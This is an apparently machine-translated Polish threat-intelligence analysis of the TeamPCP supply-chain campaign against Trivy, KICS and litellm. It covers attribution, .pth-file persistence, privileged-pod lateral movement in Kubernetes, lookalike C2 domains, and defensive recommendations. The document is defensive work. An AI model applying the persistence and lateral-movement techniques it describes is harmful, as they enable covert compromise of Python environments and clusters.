Atak na łańcuch dostaw LiteLLM: jak TeamPCP włamał się do infrastruktury AI

Atrybucja: TeamPCP

Aktora odpowiedzialnego za tę kampanię śledzi się jako Zespół PCP, znany również jako PCPcat, Persy_PCP, ShellForce i DeadCatx3.

Znane cechy:

• Utrzymuje kanały Telegramu w @Persy_PCP oraz @teampcp gdzie drwili z firm ochroniarskich
• Działa w wielu ekosystemach (GitHub Actions, PyPI, npm, OpenVSX)
• Używa domen typosquat specyficznych dla danego dostawcy w każdej fazie kampanii (np. checkmarx.zone dla Checkmarx, models.litellm.cloud dla litellm)
• Spójne znaczniki infrastruktury: ta sama para kluczy RSA, tpcp.tar.gz konwencja nazewnictwa, tpcp-docs-* Repozytoria GitHub używane jako miejsce przechowywania danych
• Celuje w narzędzia bezpieczeństwa jako punkty wejścia do dalszych łańcuchów dostaw

Pewność atrybucji:Wysoki. Współdzielony klucz publiczny RSA, tpcp nazewnictwo artefaktów, nakładanie się infrastruktury C2 i tempo operacyjne w ciągu pięciodniowej kampanii silnie wiążą kompromisy Trivy, KICS, npm, OpenVSX i litellm z tym samym aktorem.

Motywacja:Prawdopodobnie finansowe (kradzież portfeli kryptowalutowych, monetyzacja danych uwierzytelniających w chmurze) w połączeniu z rozgłosem (drwiny w Telegramie). Szeroki zakres gromadzenia danych uwierzytelniających – od AWS IAM, przez pary kluczy walidatorów Solana, po konfiguracje WireGuard – sugeruje, że podmiot kieruje się motywacją finansową i dąży do maksymalizacji zwrotu z inwestycji (ROI) z każdego naruszenia.

Możliwa pomoc AINarzędzie do zbierania poświadczeń jest systematycznie kompleksowe – obejmuje ponad 15 kategorii, w tym niszowe cele, takie jak klucze podpisu Cardano, konfiguracje WireGuard i poświadczenia Kaniko Docker – w sposób zgodny z enumeracją wspomaganą przez sztuczną inteligencję. Szybkość iteracji ładunku (trzy warianty z różnymi schematami szyfrowania), koordynacja między ekosystemami (5 ekosystemów w ciągu 5 dni) oraz operacyjne zabezpieczenia operacyjne (OPSEC) (domeny podszywające się pod dostawców, szyfrowanie hybrydowe, trwałość systemd podszywająca się pod telemetrię) sugerują poziom przepustowości, który może odzwierciedlać rozwój wspomagany przez sztuczną inteligencję jako czynnik mnożnikowy. Ta ocena ma charakter spekulacyjny; doświadczeni operatorzy mogliby osiągnąć podobny zakres bez narzędzi sztucznej inteligencji.

Nowe TTP i techniki

1. Zatrucie łańcucha dostaw narzędzi bezpieczeństwa (wariant T1195.002)

Złamanie zabezpieczeń skanerów (Trivy, KICS) jako pierwszego kroku dotarcia do celów podrzędnych to nowa eskalacja. Atakujący nie tylko zhakował bibliotekę, ale także narzędzia używane przez organizacje do… wykryć zainfekowane biblioteki. To tworzy martwy punkt: skaner, który powinien wykryć złośliwy kod, sam jest mechanizmem jego dostarczania.

2. Python .pth Trwałość pliku (T1546)

 litellm_init.pth Technika w wersji 1.82.8 jest szczególnie podstępna. Python .pth plików w site-packages/ są przetwarzane przy każdym uruchomieniu interpretera; każda linia zaczynająca się od import jest wykonywany jako kod. Poprzez połączenie ładunku z jednym import W tym stwierdzeniu atakujący osiąga wykonanie w każdym procesie Pythona — nie tylko wtedy, gdy importowany jest litellm. Oznacza to, że ładunek jest uruchamiany nawet wtedy, gdy litellm jest zainstalowany, ale nigdy nie jest używany, i przetrwa proces naprawczy, który zastępuje zainfekowany .py pliki bez sprawdzania .pth akta.

3. Przemieszczanie poziome w całym klastrze Kubernetes za pośrednictwem wdrożenia uprzywilejowanych podów (T1610, T1611)

Automatyczne tworzenie uprzywilejowanych kontenerów na każdym węźle klastra — z hostPID, hostNetwork, montowanie systemu plików hosta i chroot aby zainstalować trwałość — łańcuchy wdrażania kontenera (T1610) z ucieczką do hosta (T1611) w celu przekształcenia pojedynczego naruszone obciążenie w pełne naruszone klaster.

4. Infrastruktura C2 podszywająca się pod dostawcę

Korzystanie z models.litellm.cloud (naśladuje litellm) i checkmarx.zone (naśladuje Checkmarx), ponieważ punkty końcowe C2/exfil zostały zaprojektowane tak, aby uniknąć monitorowania sieci. Analitycy SOC analizujący ruch wychodzący zauważyliby połączenia HTTPS z domenami, które wydają się legalnymi domenami dostawców.

5. Szybka iteracja ładunku w locie

Opublikowanie wersji 1.82.7 z wykonaniem w czasie importu, a następnie wersji 1.82.8 z wykonaniem w czasie uruchomienia 13 minut później, pokazuje, że atakujący monitoruje sytuację i dostosowuje się do niej w czasie rzeczywistym. Zakomentowane warianty danych (z różnymi schematami szyfrowania) zachowane w kodzie źródłowym potwierdzają aktywny rozwój w trakcie operacji.

Co można zrobić

Ten atak wykorzystuje zaufanie na każdej warstwie: zaufanie do narzędzi bezpieczeństwa, zaufanie do rejestrów pakietów, zaufanie do domen o znajomym wyglądzie, zaufanie do CI/CD automatyzacja. Obrona przed nią wymaga wzmocnienia każdej z tych granic zaufania:

Dla konsumentów pakietowych

• Przypinaj zależności za pomocą hasha, a nie tylko wersji. pip install litellm==1.82.6 --hash=sha256:... zapobiegłoby instalacji zagrożonych wersji, nawet jeśli na krótko pojawiłyby się jako najnowsza wersja.
• Użyj plików blokujących. pip-compile, poetry.lock, uv.lock przechwytywanie dokładnych wersji i skrótów. CI/CD należy instalować z plików blokujących, a nie ze zmiennych specyfikujących wersję.
• Monitoruj .pth akta. Regularny audyt site-packages/ dla nieoczekiwanego .pth pliki — są wykonywane przy każdym uruchomieniu Pythona i stanowią niedoceniany mechanizm trwałości.
• Wdrożenie kontroli sieci wyjściowej. Eksfiltracja do models.litellm.cloud i sondowanie C2 do checkmarx.zone mogły zostać wykryte przez filtrowanie ruchu wychodzącego na podstawie listy dozwolonych w środowiskach produkcyjnych.

Dla osób zarządzających pakietami

• Pin CI/CD działania przez commit SHA, nie tag. LiteLLM pipeline używał Trivy bez przypiętej wersji. Gdyby odwoływał się do aquasecurity/trivy-action@<commit-sha> zamiast @latest, zagrożona akcja nie zostałaby wykonana.
• Użyj krótkotrwałych tokenów publikacji o określonym zakresie. PyPI obsługuje zaufanych wydawców (opartych na OIDC) i zakresowe tokeny API. PYPI_PUBLISH token nie powinien mieć długotrwałego, nieograniczonego dostępu do publikacji.
• Włącz uwierzytelnianie dwuskładnikowe w PyPI. Wymagaj uwierzytelniania dwuskładnikowego (2FA) dla wszystkich administratorów i w miarę możliwości korzystaj ze sprzętowych kluczy bezpieczeństwa.
• Podpisuj paczki. Atesty Sigstore/PEP 740 pozwalają konsumentom sprawdzić, czy opakowanie zostało wykonane zgodnie z oczekiwaniami CI/CD pipeline, a nie przez atakującego posługującego się skradzionym tokenem.

Dla operatorów platform (PyPI, npm, GitHub)

• Wykrywaj nietypowe wzorce publikacji. Opublikowanie dwóch nowych wersji w odstępie 13 minut z innego adresu IP lub tokena niż zwykle powinno spowodować uruchomienie procedury wstrzymania do recenzji lub automatycznego skanowania, zanim pakiet będzie mógł zostać zainstalowany.
• Przyspieszenie wdrażania Zaufanych Wydawców. Publikowanie oparte na OIDC wiąże pakiety z określonymi repozytoriami i przepływami pracy, dzięki czemu skradzione tokeny stają się bezużyteczne poza oryginalnym systemem CI/CD kontekst.
• Wdrożenie skanowania w poszukiwaniu złośliwego oprogramowania w czasie publikacji. Treść zdekodowana algorytmem Base64 w pliku proxy_server.py będzie możliwa do wykrycia metodą analizy statycznej w momencie publikacji.

Dla ekosystemu

• Traktuj narzędzia bezpieczeństwa jako krytyczną infrastrukturę. Trivy i Checkmarx KICS są używane przez miliony pipelines. Ich działania w GitHubie powinny być podpisane, przypięte i monitorowane z taką samą dokładnością jak skanowane przez nich pakiety.
• Zainwestuj w wykrywanie środowiska wykonawczego. Sama analiza statyczna nie jest w stanie wykryć wszystkich technik zaciemniania. Monitorowanie instalacji pakietów w czasie wykonywania hooks, nieoczekiwane połączenia sieciowe i podejrzane wzorce dostępu do plików zapewniają głęboką obronę.
• Szybciej udostępniaj informacje o zagrożeniach. 5.5-godzinne okno ekspozycji dla litellm mogłoby być krótsze dzięki szybszej koordynacji między dostawcami. Zautomatyzowane usługi skanowania, takie jak Xygeni MEW, Socket i Snyk, wykryły anomalię — wąskim gardłem jest czas potwierdzenia przez człowieka i reakcji rejestru.

Wniosek

Kampania TeamPCP to przełomowy moment dla software supply chain securityNajpierw naruszając bezpieczeństwo skanerów i wykorzystując je jako kamienie milowe do stworzenia infrastruktury AI o wysokiej wartości, atakujący pokazali, że łańcuch dostaw jest tak silny, jak jego najsłabsza zależność przechodnia, a ta zależność może być narzędziem bezpieczeństwa, któremu ufasz i które zapewni ci bezpieczeństwo.

Kompromis w litellm szczególnie uwypukla rosnące ryzyko dla infrastruktury AI. W miarę jak bramy proxy LLM stają się standard wzór dla enterprise Wdrażając sztuczną inteligencję, koncentrują dostęp do kluczy API, danych uwierzytelniających w chmurze i poufnych danych w jednym komponencie. Złamanie zabezpieczeń tego komponentu to klucz do całego stosu sztucznej inteligencji.

Organizacje, które zainstalowały wersję litellm 1.82.7 lub 1.82.8 w ciągu 5.5 godziny, powinny traktować to jako pełne naruszenie poświadczeń: należy wymienić wszystkie sekrety w zagrożonych systemach, przeprowadzić audyt klastrów Kubernetes w celu node-setup-* strąki w kube-system, usuń wszelkie sysmon.service jednostki systemd i sprawdź litellm_init.pth w Pythonie site-packages/ katalogi. Użytkownicy oficjalnego obrazu Docker (ghcr.io/berriai/litellm) nie uległy zmianie, ponieważ obraz przypiął swoje zależności i nie został przebudowany w oknie ekspozycji.